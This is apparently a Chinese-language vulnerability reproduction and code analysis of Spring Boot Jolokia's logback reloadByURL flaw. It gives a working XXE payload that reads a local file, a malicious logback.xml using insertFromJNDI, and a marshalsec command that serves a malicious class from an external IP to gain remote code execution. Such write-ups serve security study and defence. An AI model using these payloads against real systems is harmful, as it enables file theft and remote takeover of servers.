Jolokia允许通过HTTP访问所有已注册的MBean,同时可以使用URL列出所有可用的MBeans操作,访问http://127.0.0.1:8090/jolokia/list即可列出,如下为返回:
格式化后logback Mbean:
jolokia在logback JMXConfigurator中提供的“reloadByURL”方法允许从外部URL重新加载日志的记录配置
官网给出了GET和POST两种方式的访问路径以及参数:
XXE利用:
搭建简单HTTP服务器,用于下载logback.xml(本机1337端口开启服务)
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8080/file.dtd">%remote;%int;]> <a>&trick;</a>file.dtd(8080端口开启服务)
最终访问:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml
Mbean name:
ch.qos.logback.classic:name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/ Operation: reloadByUrl Params: http:!/!/127.0.0.1!/logback.xml
获取到D:/hello.txt的内容:
RCE利用:
直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容目标机器使用 saxParser.parse 解析 xml 文件 (xxe)xml 文件中利用 logback 依赖的 insertFormJNDI 标签,允许访问外部 JNDI 服务器地址目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞首先服务器上创建可以远程访问的xml文件,logback.xml:
<configuration> <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" /> </configuration>在此处开启服务,使得xml可以被远程获取到
服务器上解析此xml文件时,它会创建与“env-entry-name”参数值中指定的攻击者LDAP/RMI服务器的连接,从而导致JNDI进行解析
同时需要创建JNDI服务:
使用marshalsec工具可以方便地创建JNDI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://46.110.60.232:8880/#JNDIObject 1097
其中JNDIObject类为恶意执行类,当调用RMI服务后会进行代码执行
(RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class. RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类)
JNDI解析后,进行恶意RMI远程类调用:
此处由于JDK版本问题,未能反弹shell
调用链:
首先在JolokiaMvcEndpoint类中设置了根路径为/jolokia
后续路径为任何(/**)时,都会由handle方法进行处理:
下一步会进到handleRequest
进入handleRequestInternalà servletInstance.service:
进入doGet方法:
接下来为handle处理HttpRequest请求,进入handleGetRequest方法:
此方法会对传入的Uri和pPathinfo进行解析(含有对/的过滤)以及jmx请求的构造:
JmxReq = JmxRequestFactory.createGetRequest是通过 JmxRequestFactory 类创建一个 JmxRequest 的子类(如果请求的类别在 CREATOR_MAP 存在,就会创建对应的子类)子类对象构造后如下:
通过operation和argument等参数进行jmx的服务访问
HandleRequest中建立MBeanServer同时传入JmxReq请求参数:
到reloadByURL中执行:
跟进doConfigure:建立连接
doConfigure:
外部Xml成功传入,执行saxParser 成功读取到文件内容:
参考:https://xz.aliyun.com/t/4258